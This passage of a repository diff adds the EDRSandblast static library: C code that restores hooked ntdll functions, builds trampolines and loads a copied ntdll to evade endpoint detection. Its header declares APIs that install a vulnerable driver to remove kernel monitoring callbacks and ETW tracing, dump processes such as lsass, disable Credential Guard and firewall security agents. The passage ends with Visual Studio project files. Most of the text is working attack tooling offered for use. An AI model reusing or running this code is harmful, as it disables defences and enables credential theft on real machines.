pNtProtectVirtualMemory originalNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
DWORD oldProtect;
|
||||
NTSTATUS status = originalNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&functionStart,
|
||||
&functionSize,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return EDRSB_NTPROTECTVIRTUALMEMORY_FAILED;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < functionSize; i++) {
|
||||
((PBYTE)functionStart)[i] = ((PBYTE)functionStartOnDisk)[i];
|
||||
}
|
||||
|
||||
status = originalNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&functionStart,
|
||||
&functionSize,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return EDRSB_NTPROTECTVIRTUALMEMORY_FAILED;
|
||||
}
|
||||
|
||||
// Return a pointer to the unhooked function
|
||||
*function = functionStart;
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
//TODO : to move in Core / deduplicate
|
||||
EDRSB_STATUS _GetSafeNtFunctionUsingTrampoline(BOOL fromEdr, LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function) {
|
||||
*function = NULL;
|
||||
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtFunction = PE_functionAddr(ntdllPE_disk, functionName);
|
||||
PVOID mem_NtFunction = PE_functionAddr(ntdllPE_mem, functionName);
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtFunction, disk_NtFunction, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
*function = mem_NtFunction;
|
||||
return EDRSB_FUNCTION_NOT_HOOKED;
|
||||
}
|
||||
|
||||
if (fromEdr) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtFunction + ((PBYTE)patchAddr - (PBYTE)mem_NtFunction), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
printf_or_not("Trampoline for %s was impossible to find !\n", functionName);
|
||||
return EDRSB_TRAMPOLINE_NOT_FOUND;
|
||||
}
|
||||
*function = trampoline;
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
else {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
printf_or_not("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
return EDRSB_MEMALLOC_FAIL;
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtFunction, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtFunction) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtFunction) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
*function = trampoline;
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//TODO : to move in Core / deduplicate
|
||||
EDRSB_STATUS _Usermode_GetSafeNtFunction_with_ntdll_copy(_Inout_ EDRSB_CONTEXT* ctx, _In_z_ const WCHAR* tempDLLFilePath, _In_z_ LPCSTR ntFunctionName, _Outptr_result_maybenull_ PVOID* function) {
|
||||
*function = NULL;
|
||||
|
||||
//BUG : cannot change/choose the DLL file path after first call
|
||||
HANDLE secondNtdll;
|
||||
if (!ctx->Cache.NtdllCopyHandle) {
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
CopyFileW(ntdllFilePath, tempDLLFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(tempDLLFilePath);
|
||||
ctx->Cache.NtdllCopyHandle = secondNtdll;
|
||||
}
|
||||
secondNtdll = ctx->Cache.NtdllCopyHandle;
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
PVOID functionAddress = PE_functionAddr(secondNtdll_pe, ntFunctionName);
|
||||
PE_destroy(secondNtdll_pe);
|
||||
if (functionAddress == NULL) {
|
||||
return EDRSB_NT_FUNCTION_NOT_FOUND;
|
||||
}
|
||||
else {
|
||||
*function = functionAddress;
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
VOID EDRSB_CleanUp(_Inout_ EDRSB_CONTEXT* ctx) {
|
||||
if (ctx->Cache.NtdllCopyHandle) {
|
||||
FreeLibrary(ctx->Cache.NtdllCopyHandle);
|
||||
ctx->Cache.NtdllCopyHandle = NULL;
|
||||
}
|
||||
|
||||
if (ctx->isDriverInstalled) {
|
||||
CloseDriverHandle();
|
||||
BOOL status = UninstallVulnerableDriver();
|
||||
if (status == FALSE) {
|
||||
_putts_or_not(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver"));
|
||||
_tprintf_or_not(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetDriverServiceName());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "../EDRSandblast/Includes/UserlandHooks.h"
|
||||
|
||||
typedef struct EDRSB_SINGLETONS_t {
|
||||
HANDLE NtdllCopyHandle;
|
||||
} EDRSB_SINGLETONS;
|
||||
|
||||
|
||||
typedef struct EDRSB_CONTEXT_t {
|
||||
// Generic
|
||||
struct EDRSB_CONFIG_t* config;
|
||||
// Kernel related
|
||||
BOOL isDriverInstalled;
|
||||
BOOL krnlmodeMonitoringEnumDone;
|
||||
BOOL foundNotifyRoutineCallbacks;
|
||||
BOOL foundObjectCallbacks;
|
||||
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
|
||||
BOOL isETWTISystemEnabled;
|
||||
BOOL isETWTICurrentlyEnabled;
|
||||
// Usermode related
|
||||
BOOL usermodeMonitoringRemoved;
|
||||
HOOK* foundUserlandHooks;
|
||||
// Singletons / open handles / allocated buffer, etc. that should be opened once and used multiple times
|
||||
EDRSB_SINGLETONS Cache;
|
||||
} EDRSB_CONTEXT;
|
||||
|
||||
|
||||
typedef struct EDRSB_BYPASS_MODE_t {
|
||||
BYTE Usermode : 1;
|
||||
BYTE Krnlmode : 1;
|
||||
} EDRSB_BYPASS_MODE;
|
||||
|
||||
typedef enum EDRSB_USERMODE_TECHNIQUE_e {
|
||||
Unhook_with_ntdll_NtProtectVirtualMemory,
|
||||
Copy_ntdll_and_load,
|
||||
Allocate_trampoline,
|
||||
Find_and_use_existing_trampoline,
|
||||
Use_direct_syscall,
|
||||
} EDRSB_USERMODE_TECHNIQUE;
|
||||
|
||||
// TODO: update values.
|
||||
typedef struct EDRSB_ACTIONS_t {
|
||||
DWORD ProtectProcess : 1;
|
||||
DWORD BypassCredguard : 1;
|
||||
DWORD ExecProcess : 1;
|
||||
DWORD FirewallEDR : 1;
|
||||
DWORD DontUnloadDriver : 1;
|
||||
DWORD DontRestoreCallBacks : 1;
|
||||
DWORD DontRestoreETWTI : 1;
|
||||
} EDRSB_ACTIONS;
|
||||
|
||||
typedef struct EDRSB_OFFSETS_RETRIEVAL_METHOD_t {
|
||||
BYTE Embeded : 1;
|
||||
BYTE File : 1;
|
||||
BYTE Internet : 1;
|
||||
} EDRSB_OFFSETS_RETRIEVAL_METHOD;
|
||||
|
||||
typedef enum EDRSB_STATUS_e {
|
||||
EDRSB_SUCCESS,
|
||||
//Driver related errors
|
||||
EDRSB_DRIVER_NOT_SPECIFIED,
|
||||
EDRSB_DRIVER_NOT_FOUND,
|
||||
EDRSB_DRIVER_INSTALL_FAILED,
|
||||
// Config related errors.
|
||||
EDRSB_KERNEL_OFFSETS_NOT_FOUND,
|
||||
EDRSB_WDIGEST_OFFSETS_NOT_FOUND,
|
||||
// Kernel mode related errors.
|
||||
EDRSB_MISSING_KRNLMODE,
|
||||
// Usermode mode related errors.
|
||||
EDRSB_NT_FUNCTION_NOT_FOUND,
|
||||
EDRSB_TRAMPOLINE_NOT_FOUND,
|
||||
EDRSB_FUNCTION_NOT_HOOKED,
|
||||
EDRSB_NTPROTECTVIRTUALMEMORY_FAILED,
|
||||
// Actions related errors.
|
||||
EDRSB_MISSING_DUMPPROCESS,
|
||||
EDRSB_MISSING_PROTECTPROCESS,
|
||||
EDRSB_MISSING_BYPASSCREDGUARD,
|
||||
EDRSB_MISSING_EXECPROCESS,
|
||||
EDRSB_MISSING_FIREWALLEDR,
|
||||
EDRSB_BYPASSCREDGUARD_FAILED,
|
||||
EDRSB_EXECPROCESS_FAILED,
|
||||
//Other errors
|
||||
EDRSB_FAILURE,
|
||||
EDRSB_MEMALLOC_FAIL,
|
||||
EDRSB_KNRL_MONITORING,
|
||||
EDRSB_ACCESS_DENIED,
|
||||
} EDRSB_STATUS;
|
||||
|
||||
/*
|
||||
* EDRSandblast configuration structure
|
||||
*/
|
||||
typedef struct EDRSB_CONFIG_t {
|
||||
/*
|
||||
* Defines the bypass mode to use.
|
||||
*/
|
||||
EDRSB_BYPASS_MODE bypassMode;
|
||||
|
||||
/*
|
||||
* Defines the actions that will be performed.
|
||||
*/
|
||||
EDRSB_ACTIONS actions;
|
||||
|
||||
EDRSB_OFFSETS_RETRIEVAL_METHOD offsetRetrievalMethod;
|
||||
|
||||
/*
|
||||
* Path of the CSV file that contains the needed offsets for kernel mode operations
|
||||
* If NULL, tries to load NtoskrnlOffsets.csv
|
||||
* If empty string, disable NtoskrnlOffsets.csv loading (relies on symbol download every time)
|
||||
*/
|
||||
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers
|
||||
|
||||
/*
|
||||
* Path of the CSV file that contains the needed offsets for credential guard related operations
|
||||
* If NULL, tries to load WdigestOffsets.csv
|
||||
* If empty string, disable WdigestOffsets.csv loading (relies on symbol download every time)
|
||||
*/
|
||||
LPWSTR wdigestOffsetFilePath;
|
||||
|
||||
/*
|
||||
* Path of the vulnerable driver to install
|
||||
* If NULL, tries to load RTCore64.sys
|
||||
*/
|
||||
LPWSTR vulerableDriverPath;
|
||||
|
||||
/*
|
||||
* If additionnal debug messages are wanted
|
||||
*/
|
||||
BOOL verbose;
|
||||
|
||||
} EDRSB_CONFIG;
|
||||
|
||||
/*
|
||||
* Global init.
|
||||
*/
|
||||
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config);
|
||||
VOID EDRSB_CleanUp(_Inout_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
/*
|
||||
* Usermode APIs.
|
||||
*/
|
||||
EDRSB_STATUS Usermode_GetSafeNtFunc(_Inout_ EDRSB_CONTEXT* ctx, _In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function, EDRSB_USERMODE_TECHNIQUE technique);
|
||||
|
||||
VOID Usermode_EnumAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
VOID Usermode_RemoveAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx, EDRSB_USERMODE_TECHNIQUE technique);
|
||||
|
||||
/*
|
||||
* Krnlmode APIs.
|
||||
*/
|
||||
EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
/*
|
||||
* Actions APIs.
|
||||
*/
|
||||
// Set the protection level of the current process to Light WinTcb(PsProtectedSignerWinTcb - Light). Allows access to other protected processes, such as lsass when RunAsPPL is enabled
|
||||
EDRSB_STATUS Action_SetCurrentProcessAsProtected(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
EDRSB_STATUS Action_DumpProcessByName(_In_ EDRSB_CONTEXT* ctx, _In_ LPWSTR processName, _In_ LPWSTR outputPath, EDRSB_USERMODE_TECHNIQUE usermodeTechnique);
|
||||
|
||||
EDRSB_STATUS Action_FirewallBlockEDR(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
EDRSB_STATUS Action_DisableCredGuard(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{3a2fcb56-01a3-41b3-bdaa-b25f45784b23}</ProjectGuid>
|
||||
<RootNamespace>EDRSandblastStaticLibrary</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>
|
||||
</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>
|
||||
</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>
|
||||
</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>
|
||||
</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>
|
||||
</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>
|
||||
</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast_API.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="EDRSandblast_API.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,27 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast_API.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="EDRSandblast_API.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
Reference in New Issue
Block a user